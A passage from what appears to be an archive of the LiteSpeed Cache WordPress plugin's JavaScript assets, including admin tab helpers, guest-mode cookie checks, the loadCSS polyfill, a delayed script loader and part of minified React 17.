				$input.on('keyup', function (event) {
					var txt = litespeed_readable_time($(this).val());
					$(that).html(txt ? '= ' + txt : '');
				});
			});
		}

		/**
		 * Click only once
		 */
		if ($('[data-litespeed-onlyonce]').length > 0) {
			$('[data-litespeed-onlyonce]').on('click', function (e) {
				if ($(this).hasClass('disabled')) {
					e.preventDefault();
				}
				$(this).addClass('disabled');
			});
		}
	});
})(jQuery);

/**
 * Plural handler
 */
function litespeed_plural($num, $txt) {
	if ($num > 1) return $num + ' ' + $txt + 's';

	return $num + ' ' + $txt;
}

/**
 * Convert seconds to readable time
 */
function litespeed_readable_time(seconds) {
	if (seconds < 60) {
		return '';
	}

	var second = Math.floor(seconds % 60);
	var minute = Math.floor((seconds / 60) % 60);
	var hour = Math.floor((seconds / 3600) % 24);
	var day = Math.floor((seconds / 3600 / 24) % 7);
	var week = Math.floor(seconds / 3600 / 24 / 7);

	var str = '';
	if (week) str += ' ' + litespeed_plural(week, 'week');
	if (day) str += ' ' + litespeed_plural(day, 'day');
	if (hour) str += ' ' + litespeed_plural(hour, 'hour');
	if (minute) str += ' ' + litespeed_plural(minute, 'minute');
	if (second) str += ' ' + litespeed_plural(second, 'second');

	return str;
}

/**
 * Trigger a click event on an element
 * @since  1.8
 */
function litespeed_trigger_click(selector) {
	jQuery(selector).trigger('click');
}

function litespeed_keycode(num) {
	var num = num || 13;
	var code = window.event ? event.keyCode : event.which;
	if (num == code) return true;
	return false;
}

/**
 * Normalize specified tab type
 * @since  4.7
 */
function litespeed_tab_type(type) {
	return 'subtab' === type ? type : 'tab';
}

/**
 * Sniff cookies for tab and subtab
 * @since  4.7
 */
function litespeed_tab_cookie($elems, type) {
	type = litespeed_tab_type(type);
	var re = new RegExp('(?:^|.*;)\\s*litespeed_' + type + '\\s*=\\s*([^;]*).*$|^.*$', 'ms');
	var name = document.cookie.replace(re, '$1');
	return $elems.filter('[data-litespeed-' + type + '="' + name + '"]:first');
}

function litespeed_display_tab(name, type) {
	type = litespeed_tab_type(type);
	var $tabs;
	var $layouts;
	var classname;
	var layout_type;
	if ('subtab' === type) {
		classname = 'focus';
		layout_type = 'sublayout';
		$tabs = jQuery('[data-litespeed-subtab="' + name + '"]')
			.siblings('[data-litespeed-subtab]')
			.addBack();
		$layouts = jQuery('[data-litespeed-sublayout="' + name + '"]')
			.siblings('[data-litespeed-sublayout]')
			.addBack();
	} else {
		// Maybe handle subtabs
		var $subtabs = jQuery('[data-litespeed-layout="' + name + '"] [data-litespeed-subtab]');
		if ($subtabs.length > 0) {
			// Find subtab name
			var $subtab = litespeed_tab_cookie($subtabs, 'subtab');
			if ($subtab.length < 1) {
				$subtab = jQuery('[data-litespeed-layout="' + name + '"] [data-litespeed-subtab]:first');
			}
			if ($subtab.length > 0) {
				var subtab_name = $subtab.data('litespeed-subtab');
				// Display a subtab
				litespeed_display_tab(subtab_name, 'subtab');
			}
		}
		classname = 'nav-tab-active';
		layout_type = 'layout';
		$tabs = jQuery('[data-litespeed-tab]');
		$layouts = jQuery('[data-litespeed-layout]');
	}
	$tabs.removeClass(classname);
	$tabs.filter('[data-litespeed-' + type + '="' + name + '"]').addClass(classname);
	$layouts.hide();
	$layouts.filter('[data-litespeed-' + layout_type + '="' + name + '"]').show();
}

function litespeed_copy_to_clipboard(elementId, clickedElement) {
	var range = document.createRange();
	range.selectNode(document.getElementById(elementId));
	window.getSelection().removeAllRanges();
	window.getSelection().addRange(range);
	document.execCommand('copy');
	window.getSelection().removeAllRanges();

	clickedElement.setAttribute('aria-label', 'Copied!');
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/guest.min.js000064400000000565151031165260020462 0ustar00var litespeed_vary=document.cookie.replace(/(?:(?:^|.*;\s*)_lscache_vary\s*\=\s*([^;]*).*$)|^.*$/,"$1");litespeed_vary||fetch("litespeed_url",{method:"POST",cache:"no-cache",redirect:"follow"}).then(e=>e.json()).then(e=>{console.log(e),e.hasOwnProperty("reload")&&"yes"==e.reload&&(sessionStorage.setItem("litespeed_docref",document.referrer),window.location.reload(!0))});litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/css_async.js000064400000002721151031165260020532 0ustar00/*! loadCSS. [c]2017 Filament Group, Inc. MIT License */
!function(a){"use strict";var b=function(b,c,d){function e(a){return h.body?a():void setTimeout(function(){e(a)})}function f(){i.addEventListener&&i.removeEventListener("load",f),i.media=d||"all"}var g,h=a.document,i=h.createElement("link");if(c)g=c;else{var j=(h.body||h.getElementsByTagName("head")[0]).childNodes;g=j[j.length-1]}var k=h.styleSheets;i.rel="stylesheet",i.href=b,i.media="only x",e(function(){g.parentNode.insertBefore(i,c?g:g.nextSibling)});var l=function(a){for(var b=i.href,c=k.length;c--;)if(k[c].href===b)return a();setTimeout(function(){l(a)})};return i.addEventListener&&i.addEventListener("load",f),i.onloadcssdefined=l,l(f),i};"undefined"!=typeof exports?exports.loadCSS=b:a.loadCSS=b}("undefined"!=typeof global?global:this);
/*! loadCSS rel=preload polyfill. [c]2017 Filament Group, Inc. MIT License */
!function(a){if(a.loadCSS){var b=loadCSS.relpreload={};if(b.support=function(){try{return a.document.createElement("link").relList.supports("preload")}catch(b){return!1}},b.poly=function(){for(var b=a.document.getElementsByTagName("link"),c=0;c<b.length;c++){var d=b[c];"preload"===d.rel&&"style"===d.getAttribute("as")&&(a.loadCSS(d.href,d,d.getAttribute("media")),d.rel=null)}},!b.support()){b.poly();var c=a.setInterval(b.poly,300);a.addEventListener&&a.addEventListener("load",function(){b.poly(),a.clearInterval(c)}),a.attachEvent&&a.attachEvent("onload",function(){a.clearInterval(c)})}}}(this);litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/css_async.min.js000064400000002511151031165260021311 0ustar00!function(a){"use strict";var b=function(b,c,d){function e(a){return h.body?a():void setTimeout(function(){e(a)})}function f(){i.addEventListener&&i.removeEventListener("load",f),i.media=d||"all"}var g,h=a.document,i=h.createElement("link");if(c)g=c;else{var j=(h.body||h.getElementsByTagName("head")[0]).childNodes;g=j[j.length-1]}var k=h.styleSheets;i.rel="stylesheet",i.href=b,i.media="only x",e(function(){g.parentNode.insertBefore(i,c?g:g.nextSibling)});var l=function(a){for(var b=i.href,c=k.length;c--;)if(k[c].href===b)return a();setTimeout(function(){l(a)})};return i.addEventListener&&i.addEventListener("load",f),i.onloadcssdefined=l,l(f),i};"undefined"!=typeof exports?exports.loadCSS=b:a.loadCSS=b}("undefined"!=typeof global?global:this);!function(a){if(a.loadCSS){var b=loadCSS.relpreload={};if(b.support=function(){try{return a.document.createElement("link").relList.supports("preload")}catch(b){return!1}},b.poly=function(){for(var b=a.document.getElementsByTagName("link"),c=0;c<b.length;c++){var d=b[c];"preload"===d.rel&&"style"===d.getAttribute("as")&&(a.loadCSS(d.href,d,d.getAttribute("media")),d.rel=null)}},!b.support()){b.poly();var c=a.setInterval(b.poly,300);a.addEventListener&&a.addEventListener("load",function(){b.poly(),a.clearInterval(c)}),a.attachEvent&&a.attachEvent("onload",function(){a.clearInterval(c)})}}}(this);litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/js_delay.js000064400000005310151031165260020334 0ustar00window.litespeed_ui_events = window.litespeed_ui_events || ['mouseover', 'click', 'keydown', 'wheel', 'touchmove', 'touchstart'];
var urlCreator = window.URL || window.webkitURL;

// const litespeed_js_delay_timer = setTimeout( litespeed_load_delayed_js, 70 );

litespeed_ui_events.forEach(e => {
	window.addEventListener(e, litespeed_load_delayed_js_force, { passive: true }); // Use passive to save GPU in interaction
});

function litespeed_load_delayed_js_force() {
	console.log('[LiteSpeed] Start Load JS Delayed');
	// clearTimeout( litespeed_js_delay_timer );
	litespeed_ui_events.forEach(e => {
		window.removeEventListener(e, litespeed_load_delayed_js_force, { passive: true });
	});

	document.querySelectorAll('iframe[data-litespeed-src]').forEach(e => {
		e.setAttribute('src', e.getAttribute('data-litespeed-src'));
	});

	// Prevent early loading
	if (document.readyState == 'loading') {
		window.addEventListener('DOMContentLoaded', litespeed_load_delayed_js);
	} else {
		litespeed_load_delayed_js();
	}
}

async function litespeed_load_delayed_js() {
	let js_list = [];
	// Prepare all JS
	document.querySelectorAll('script[type="litespeed/javascript"]').forEach(e => {
		js_list.push(e);
	});

	// Load by sequence
	for (let script in js_list) {
		await new Promise(resolve => litespeed_load_one(js_list[script], resolve));
	}

	// Simulate doc.loaded
	document.dispatchEvent(new Event('DOMContentLiteSpeedLoaded'));
	window.dispatchEvent(new Event('DOMContentLiteSpeedLoaded'));
}

/**
 * Load one JS synchronously
 */
function litespeed_load_one(e, resolve) {
	console.log('[LiteSpeed] Load ', e);

	var e2 = document.createElement('script');

	e2.addEventListener('load', resolve);
	e2.addEventListener('error', resolve);

	var attrs = e.getAttributeNames();
	attrs.forEach(aname => {
		if (aname == 'type') return;
		e2.setAttribute(aname == 'data-src' ? 'src' : aname, e.getAttribute(aname));
	});
	e2.type = 'text/javascript';

	let is_inline = false;
	// Inline script
	if (!e2.src && e.textContent) {
		e2.src = litespeed_inline2src(e.textContent);
		// e2.textContent = e.textContent;
		is_inline = true;
	}

	// Deploy to dom
	e.after(e2);
	e.remove();
	// document.head.appendChild(e2);
	// e2 = e.cloneNode(true)
	// e2.setAttribute( 'type', 'text/javascript' );
	// e2.setAttribute( 'data-delayed', '1' );

	// Kick off resolve for inline
	if (is_inline) resolve();
}

/**
 * Prepare inline script
 */
function litespeed_inline2src(data) {
	try {
		var src = urlCreator.createObjectURL(
			new Blob([data.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm, '$1')], {
				type: 'text/javascript',
			}),
		);
	} catch (e) {
		var src = 'data:text/javascript;base64,' + btoa(data.replace(/^(?:<!--)?(.*?)(?:-->)?$/gm, '$1'));
	}

	return src;
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/react.min.js000064400000401670151031165260020433 0ustar00/** @license React v17.0.1
 * react.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */
(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c||self,x(c.React={}))})(this,function(c){function x(a){if(null===a||"object"!==typeof a)return null;a=Y&&a[Y]||a["@@iterator"];return"function"===typeof a?a:null}function y(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,e=1;e<arguments.length;e++)b+="&args[]="+encodeURIComponent(arguments[e]);return"Minified React error #"+
a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function v(a,b,e){this.props=a;this.context=b;this.refs=Z;this.updater=e||aa}function ba(){}function K(a,b,e){this.props=a;this.context=b;this.refs=Z;this.updater=e||aa}function ca(a,b,e){var l,f={},c=null,da=null;if(null!=b)for(l in void 0!==b.ref&&(da=b.ref),void 0!==b.key&&(c=""+b.key),b)ea.call(b,l)&&!fa.hasOwnProperty(l)&&(f[l]=b[l]);var k=arguments.length-2;if(1===
k)f.children=e;else if(1<k){for(var h=Array(k),d=0;d<k;d++)h[d]=arguments[d+2];f.children=h}if(a&&a.defaultProps)for(l in k=a.defaultProps,k)void 0===f[l]&&(f[l]=k[l]);return{$$typeof:w,type:a,key:c,ref:da,props:f,_owner:L.current}}function va(a,b){return{$$typeof:w,type:a.type,key:b,ref:a.ref,props:a.props,_owner:a._owner}}function M(a){return"object"===typeof a&&null!==a&&a.$$typeof===w}function wa(a){var b={"=":"=0",":":"=2"};return"$"+a.replace(/[=:]/g,function(a){return b[a]})}function N(a,b){return"object"===
typeof a&&null!==a&&null!=a.key?wa(""+a.key):b.toString(36)}function C(a,b,e,l,f){var c=typeof a;if("undefined"===c||"boolean"===c)a=null;var d=!1;if(null===a)d=!0;else switch(c){case "string":case "number":d=!0;break;case "object":switch(a.$$typeof){case w:case ha:d=!0}}if(d)return d=a,f=f(d),a=""===l?"."+N(d,0):l,Array.isArray(f)?(e="",null!=a&&(e=a.replace(ia,"$&/")+"/"),C(f,b,e,"",function(a){return a})):null!=f&&(M(f)&&(f=va(f,e+(!f.key||d&&d.key===f.key?"":(""+f.key).replace(ia,"$&/")+"/")+
a)),b.push(f)),1;d=0;l=""===l?".":l+":";if(Array.isArray(a))for(var k=0;k<a.length;k++){c=a[k];var h=l+N(c,k);d+=C(c,b,e,h,f)}else if(h=x(a),"function"===typeof h)for(a=h.call(a),k=0;!(c=a.next()).done;)c=c.value,h=l+N(c,k++),d+=C(c,b,e,h,f);else if("object"===c)throw b=""+a,Error(y(31,"[object Object]"===b?"object with keys {"+Object.keys(a).join(", ")+"}":b));return d}function D(a,b,e){if(null==a)return a;var l=[],c=0;C(a,l,"","",function(a){return b.call(e,a,c++)});return l}function xa(a){if(-1===
a._status){var b=a._result;b=b();a._status=0;a._result=b;b.then(function(b){0===a._status&&(b=b.default,a._status=1,a._result=b)},function(b){0===a._status&&(a._status=2,a._result=b)})}if(1===a._status)return a._result;throw a._result;}function n(){var a=ja.current;if(null===a)throw Error(y(321));return a}function O(a,b){var e=a.length;a.push(b);a:for(;;){var c=e-1>>>1,f=a[c];if(void 0!==f&&0<E(f,b))a[c]=b,a[e]=f,e=c;else break a}}function p(a){a=a[0];return void 0===a?null:a}function F(a){var b=
a[0];if(void 0!==b){var e=a.pop();if(e!==b){a[0]=e;a:for(var c=0,f=a.length;c<f;){var d=2*(c+1)-1,g=a[d],k=d+1,h=a[k];if(void 0!==g&&0>E(g,e))void 0!==h&&0>E(h,g)?(a[c]=h,a[k]=e,c=k):(a[c]=g,a[d]=e,c=d);else if(void 0!==h&&0>E(h,e))a[c]=h,a[k]=e,c=k;else break a}}return b}return null}function E(a,b){var e=a.sortIndex-b.sortIndex;return 0!==e?e:a.id-b.id}function P(a){for(var b=p(r);null!==b;){if(null===b.callback)F(r);else if(b.startTime<=a)F(r),b.sortIndex=b.expirationTime,O(q,b);else break;b=p(r)}}
function Q(a){z=!1;P(a);if(!u)if(null!==p(q))u=!0,A(R);else{var b=p(r);null!==b&&G(Q,b.startTime-a)}}function R(a,b){u=!1;z&&(z=!1,S());H=!0;var e=g;try{P(b);for(m=p(q);null!==m&&(!(m.expirationTime>b)||a&&!T());){var c=m.callback;if("function"===typeof c){m.callback=null;g=m.priorityLevel;var f=c(m.expirationTime<=b);b=t();"function"===typeof f?m.callback=f:m===p(q)&&F(q);P(b)}else F(q);m=p(q)}if(null!==m)var d=!0;else{var n=p(r);null!==n&&G(Q,n.startTime-b);d=!1}return d}finally{m=null,g=e,H=!1}}
var w=60103,ha=60106;c.Fragment=60107;c.StrictMode=60108;c.Profiler=60114;var ka=60109,la=60110,ma=60112;c.Suspense=60113;var na=60115,oa=60116;if("function"===typeof Symbol&&Symbol.for){var d=Symbol.for;w=d("react.element");ha=d("react.portal");c.Fragment=d("react.fragment");c.StrictMode=d("react.strict_mode");c.Profiler=d("react.profiler");ka=d("react.provider");la=d("react.context");ma=d("react.forward_ref");c.Suspense=d("react.suspense");na=d("react.memo");oa=d("react.lazy")}var Y="function"===
typeof Symbol&&Symbol.iterator,ya=Object.prototype.hasOwnProperty,U=Object.assign||function(a,b){if(null==a)throw new TypeError("Object.assign target cannot be null or undefined");for(var e=Object(a),c=1;c<arguments.length;c++){var d=arguments[c];if(null!=d){var g=void 0;d=Object(d);for(g in d)ya.call(d,g)&&(e[g]=d[g])}}return e},aa={isMounted:function(a){return!1},enqueueForceUpdate:function(a,b,c){},enqueueReplaceState:function(a,b,c,d){},enqueueSetState:function(a,b,c,d){}},Z={};v.prototype.isReactComponent=
{};v.prototype.setState=function(a,b){if("object"!==typeof a&&"function"!==typeof a&&null!=a)throw Error(y(85));this.updater.enqueueSetState(this,a,b,"setState")};v.prototype.forceUpdate=function(a){this.updater.enqueueForceUpdate(this,a,"forceUpdate")};ba.prototype=v.prototype;d=K.prototype=new ba;d.constructor=K;U(d,v.prototype);d.isPureReactComponent=!0;var L={current:null},ea=Object.prototype.hasOwnProperty,fa={key:!0,ref:!0,__self:!0,__source:!0},ia=/\/+/g,ja={current:null},V;if("object"===typeof performance&&
"function"===typeof performance.now){var za=performance;var t=function(){return za.now()}}else{var pa=Date,Aa=pa.now();t=function(){return pa.now()-Aa}}if("undefined"===typeof window||"function"!==typeof MessageChannel){var B=null,qa=null,ra=function(){if(null!==B)try{var a=t();B(!0,a);B=null}catch(b){throw setTimeout(ra,0),b;}};var A=function(a){null!==B?setTimeout(A,0,a):(B=a,setTimeout(ra,0))};var G=function(a,b){qa=setTimeout(a,b)};var S=function(){clearTimeout(qa)};var T=function(){return!1};
d=V=function(){}}else{var Ba=window.setTimeout,Ca=window.clearTimeout;"undefined"!==typeof console&&(d=window.cancelAnimationFrame,"function"!==typeof window.requestAnimationFrame&&console.error("This browser doesn't support requestAnimationFrame. Make sure that you load a polyfill in older browsers. https://reactjs.org/link/react-polyfills"),"function"!==typeof d&&console.error("This browser doesn't support cancelAnimationFrame. Make sure that you load a polyfill in older browsers. https://reactjs.org/link/react-polyfills"));
var I=!1,J=null,W=-1,sa=5,ta=0;T=function(){return t()>=ta};d=function(){};V=function(a){0>a||125<a?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):sa=0<a?Math.floor(1E3/a):5};var ua=new MessageChannel,X=ua.port2;ua.port1.onmessage=function(){if(null!==J){var a=t();ta=a+sa;try{J(!0,a)?X.postMessage(null):(I=!1,J=null)}catch(b){throw X.postMessage(null),b;}}else I=!1};A=function(a){J=a;I||(I=!0,X.postMessage(null))};G=
function(a,b){W=Ba(function(){a(t())},b)};S=function(){Ca(W);W=-1}}var q=[],r=[],Da=1,m=null,g=3,H=!1,u=!1,z=!1,Ea=0;d={ReactCurrentDispatcher:ja,ReactCurrentOwner:L,IsSomeRendererActing:{current:!1},ReactCurrentBatchConfig:{transition:0},assign:U,Scheduler:{__proto__:null,unstable_ImmediatePriority:1,unstable_UserBlockingPriority:2,unstable_NormalPriority:3,unstable_IdlePriority:5,unstable_LowPriority:4,unstable_runWithPriority:function(a,b){switch(a){case 1:case 2:case 3:case 4:case 5:break;default:a=
3}var c=g;g=a;try{return b()}finally{g=c}},unstable_next:function(a){switch(g){case 1:case 2:case 3:var b=3;break;default:b=g}var c=g;g=b;try{return a()}finally{g=c}},unstable_scheduleCallback:function(a,b,c){var d=t();"object"===typeof c&&null!==c?(c=c.delay,c="number"===typeof c&&0<c?d+c:d):c=d;switch(a){case 1:var e=-1;break;case 2:e=250;break;case 5:e=1073741823;break;case 4:e=1E4;break;default:e=5E3}e=c+e;a={id:Da++,callback:b,priorityLevel:a,startTime:c,expirationTime:e,sortIndex:-1};c>d?(a.sortIndex=
c,O(r,a),null===p(q)&&a===p(r)&&(z?S():z=!0,G(Q,c-d))):(a.sortIndex=e,O(q,a),u||H||(u=!0,A(R)));return a},unstable_cancelCallback:function(a){a.callback=null},unstable_wrapCallback:function(a){var b=g;return function(){var c=g;g=b;try{return a.apply(this,arguments)}finally{g=c}}},unstable_getCurrentPriorityLevel:function(){return g},get unstable_shouldYield(){return T},unstable_requestPaint:d,unstable_continueExecution:function(){u||H||(u=!0,A(R))},unstable_pauseExecution:function(){},unstable_getFirstCallbackNode:function(){return p(q)},
get unstable_now(){return t},get unstable_forceFrameRate(){return V},unstable_Profiling:null},SchedulerTracing:{__proto__:null,__interactionsRef:null,__subscriberRef:null,unstable_clear:function(a){return a()},unstable_getCurrent:function(){return null},unstable_getThreadID:function(){return++Ea},unstable_trace:function(a,b,c){return c()},unstable_wrap:function(a){return a},unstable_subscribe:function(a){},unstable_unsubscribe:function(a){}}};c.Children={map:D,forEach:function(a,b,c){D(a,function(){b.apply(this,
arguments)},c)},count:function(a){var b=0;D(a,function(){b++});return b},toArray:function(a){return D(a,function(a){return a})||[]},only:function(a){if(!M(a))throw Error(y(143));return a}};c.Component=v;c.PureComponent=K;c.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=d;c.cloneElement=function(a,b,c){if(null===a||void 0===a)throw Error(y(267,a));var d=U({},a.props),e=a.key,g=a.ref,n=a._owner;if(null!=b){void 0!==b.ref&&(g=b.ref,n=L.current);void 0!==b.key&&(e=""+b.key);if(a.type&&a.type.defaultProps)var k=
a.type.defaultProps;for(h in b)ea.call(b,h)&&!fa.hasOwnProperty(h)&&(d[h]=void 0===b[h]&&void 0!==k?k[h]:b[h])}var h=arguments.length-2;if(1===h)d.children=c;else if(1<h){k=Array(h);for(var m=0;m<h;m++)k[m]=arguments[m+2];d.children=k}return{$$typeof:w,type:a.type,key:e,ref:g,props:d,_owner:n}};c.createContext=function(a,b){void 0===b&&(b=null);a={$$typeof:la,_calculateChangedBits:b,_currentValue:a,_currentValue2:a,_threadCount:0,Provider:null,Consumer:null};a.Provider={$$typeof:ka,_context:a};return a.Consumer=
a};c.createElement=ca;c.createFactory=function(a){var b=ca.bind(null,a);b.type=a;return b};c.createRef=function(){return{current:null}};c.forwardRef=function(a){return{$$typeof:ma,render:a}};c.isValidElement=M;c.lazy=function(a){return{$$typeof:oa,_payload:{_status:-1,_result:a},_init:xa}};c.memo=function(a,b){return{$$typeof:na,type:a,compare:void 0===b?null:b}};c.useCallback=function(a,b){return n().useCallback(a,b)};c.useContext=function(a,b){return n().useContext(a,b)};c.useDebugValue=function(a,
b){};c.useEffect=function(a,b){return n().useEffect(a,b)};c.useImperativeHandle=function(a,b,c){return n().useImperativeHandle(a,b,c)};c.useLayoutEffect=function(a,b){return n().useLayoutEffect(a,b)};c.useMemo=function(a,b){return n().useMemo(a,b)};c.useReducer=function(a,b,c){return n().useReducer(a,b,c)};c.useRef=function(a){return n().useRef(a)};c.useState=function(a){return n().useState(a)};c.version="17.0.1"});
})();
/** @license React v17.0.1
 * react-dom.production.min.js
 *
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */
(function(){/*
 Modernizr 3.0.0pre (Custom Build) | MIT
*/
'use strict';(function(M,ha){"object"===typeof exports&&"undefined"!==typeof module?ha(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],ha):(M=M||self,ha(M.ReactDOM={},M.React))})(this,function(M,ha){function m(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}
function Ta(a,b){gb(a,b);gb(a+"Capture",b)}function gb(a,b){Ib[a]=b;for(a=0;a<b.length;a++)zf.add(b[a])}function li(a){if(Af.call(Bf,a))return!0;if(Af.call(Cf,a))return!1;if(mi.test(a))return Bf[a]=!0;Cf[a]=!0;return!1}function ni(a,b,c,d){if(null!==c&&0===c.type)return!1;switch(typeof b){case "function":case "symbol":return!0;case "boolean":if(d)return!1;if(null!==c)return!c.acceptsBooleans;a=a.toLowerCase().slice(0,5);return"data-"!==a&&"aria-"!==a;default:return!1}}function oi(a,b,c,d){if(null===
b||"undefined"===typeof b||ni(a,b,c,d))return!0;if(d)return!1;if(null!==c)switch(c.type){case 3:return!b;case 4:return!1===b;case 5:return isNaN(b);case 6:return isNaN(b)||1>b}return!1}function Q(a,b,c,d,e,f,g){this.acceptsBooleans=2===b||3===b||4===b;this.attributeName=d;this.attributeNamespace=e;this.mustUseProperty=c;this.propertyName=a;this.type=b;this.sanitizeURL=f;this.removeEmptyString=g}function Ed(a,b,c,d){var e=I.hasOwnProperty(b)?I[b]:null;var f=null!==e?0===e.type:d?!1:!(2<b.length)||
"o"!==b[0]&&"O"!==b[0]||"n"!==b[1]&&"N"!==b[1]?!1:!0;f||(oi(b,c,e,d)&&(c=null),d||null===e?li(b)&&(null===c?a.removeAttribute(b):a.setAttribute(b,""+c)):e.mustUseProperty?a[e.propertyName]=null===c?3===e.type?!1:"":c:(b=e.attributeName,d=e.attributeNamespace,null===c?a.removeAttribute(b):(e=e.type,c=3===e||4===e&&!0===c?"":""+c,d?a.setAttributeNS(d,b,c):a.setAttribute(b,c))))}function Jb(a){if(null===a||"object"!==typeof a)return null;a=Df&&a[Df]||a["@@iterator"];return"function"===typeof a?a:null}
function Kb(a,b,c){if(void 0===Fd)try{throw Error();}catch(d){Fd=(b=d.stack.trim().match(/\n( *(at )?)/))&&b[1]||""}return"\n"+Fd+a}function Bc(a,b){if(!a||Gd)return"";Gd=!0;var c=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(b)if(b=function(){throw Error();},Object.defineProperty(b.prototype,"props",{set:function(){throw Error();}}),"object"===typeof Reflect&&Reflect.construct){try{Reflect.construct(b,[])}catch(k){var d=k}Reflect.construct(a,[],b)}else{try{b.call()}catch(k){d=k}a.call(b.prototype)}else{try{throw Error();
}catch(k){d=k}a()}}catch(k){if(k&&d&&"string"===typeof k.stack){for(var e=k.stack.split("\n"),f=d.stack.split("\n"),g=e.length-1,h=f.length-1;1<=g&&0<=h&&e[g]!==f[h];)h--;for(;1<=g&&0<=h;g--,h--)if(e[g]!==f[h]){if(1!==g||1!==h){do if(g--,h--,0>h||e[g]!==f[h])return"\n"+e[g].replace(" at new "," at ");while(1<=g&&0<=h)}break}}}finally{Gd=!1,Error.prepareStackTrace=c}return(a=a?a.displayName||a.name:"")?Kb(a):""}function pi(a){switch(a.tag){case 5:return Kb(a.type);case 16:return Kb("Lazy");case 13:return Kb("Suspense");
case 19:return Kb("SuspenseList");case 0:case 2:case 15:return a=Bc(a.type,!1),a;case 11:return a=Bc(a.type.render,!1),a;case 22:return a=Bc(a.type._render,!1),a;case 1:return a=Bc(a.type,!0),a;default:return""}}function hb(a){if(null==a)return null;if("function"===typeof a)return a.displayName||a.name||null;if("string"===typeof a)return a;switch(a){case wa:return"Fragment";case Ua:return"Portal";case Lb:return"Profiler";case Hd:return"StrictMode";case Mb:return"Suspense";case Cc:return"SuspenseList"}if("object"===
typeof a)switch(a.$$typeof){case Id:return(a.displayName||"Context")+".Consumer";case Jd:return(a._context.displayName||"Context")+".Provider";case Dc:var b=a.render;b=b.displayName||b.name||"";return a.displayName||(""!==b?"ForwardRef("+b+")":"ForwardRef");case Ec:return hb(a.type);case Kd:return hb(a._render);case Ld:b=a._payload;a=a._init;try{return hb(a(b))}catch(c){}}return null}function xa(a){switch(typeof a){case "boolean":case "number":case "object":case "string":case "undefined":return a;
default:return""}}function Ef(a){var b=a.type;return(a=a.nodeName)&&"input"===a.toLowerCase()&&("checkbox"===b||"radio"===b)}function qi(a){var b=Ef(a)?"checked":"value",c=Object.getOwnPropertyDescriptor(a.constructor.prototype,b),d=""+a[b];if(!a.hasOwnProperty(b)&&"undefined"!==typeof c&&"function"===typeof c.get&&"function"===typeof c.set){var e=c.get,f=c.set;Object.defineProperty(a,b,{configurable:!0,get:function(){return e.call(this)},set:function(a){d=""+a;f.call(this,a)}});Object.defineProperty(a,
b,{enumerable:c.enumerable});return{getValue:function(){return d},setValue:function(a){d=""+a},stopTracking:function(){a._valueTracker=null;delete a[b]}}}}function Fc(a){a._valueTracker||(a._valueTracker=qi(a))}function Ff(a){if(!a)return!1;var b=a._valueTracker;if(!b)return!0;var c=b.getValue();var d="";a&&(d=Ef(a)?a.checked?"true":"false":a.value);a=d;return a!==c?(b.setValue(a),!0):!1}function Gc(a){a=a||("undefined"!==typeof document?document:void 0);if("undefined"===typeof a)return null;try{return a.activeElement||
a.body}catch(b){return a.body}}function Md(a,b){var c=b.checked;return B({},b,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=c?c:a._wrapperState.initialChecked})}function Gf(a,b){var c=null==b.defaultValue?"":b.defaultValue,d=null!=b.checked?b.checked:b.defaultChecked;c=xa(null!=b.value?b.value:c);a._wrapperState={initialChecked:d,initialValue:c,controlled:"checkbox"===b.type||"radio"===b.type?null!=b.checked:null!=b.value}}function Hf(a,b){b=b.checked;null!=b&&Ed(a,"checked",
b,!1)}function Nd(a,b){Hf(a,b);var c=xa(b.value),d=b.type;if(null!=c)if("number"===d){if(0===c&&""===a.value||a.value!=c)a.value=""+c}else a.value!==""+c&&(a.value=""+c);else if("submit"===d||"reset"===d){a.removeAttribute("value");return}b.hasOwnProperty("value")?Od(a,b.type,c):b.hasOwnProperty("defaultValue")&&Od(a,b.type,xa(b.defaultValue));null==b.checked&&null!=b.defaultChecked&&(a.defaultChecked=!!b.defaultChecked)}function If(a,b,c){if(b.hasOwnProperty("value")||b.hasOwnProperty("defaultValue")){var d=
b.type;if(!("submit"!==d&&"reset"!==d||void 0!==b.value&&null!==b.value))return;b=""+a._wrapperState.initialValue;c||b===a.value||(a.value=b);a.defaultValue=b}c=a.name;""!==c&&(a.name="");a.defaultChecked=!!a._wrapperState.initialChecked;""!==c&&(a.name=c)}function Od(a,b,c){if("number"!==b||Gc(a.ownerDocument)!==a)null==c?a.defaultValue=""+a._wrapperState.initialValue:a.defaultValue!==""+c&&(a.defaultValue=""+c)}function ri(a){var b="";ha.Children.forEach(a,function(a){null!=a&&(b+=a)});return b}
function Pd(a,b){a=B({children:void 0},b);if(b=ri(b.children))a.children=b;return a}function ib(a,b,c,d){a=a.options;if(b){b={};for(var e=0;e<c.length;e++)b["$"+c[e]]=!0;for(c=0;c<a.length;c++)e=b.hasOwnProperty("$"+a[c].value),a[c].selected!==e&&(a[c].selected=e),e&&d&&(a[c].defaultSelected=!0)}else{c=""+xa(c);b=null;for(e=0;e<a.length;e++){if(a[e].value===c){a[e].selected=!0;d&&(a[e].defaultSelected=!0);return}null!==b||a[e].disabled||(b=a[e])}null!==b&&(b.selected=!0)}}function Qd(a,b){if(null!=
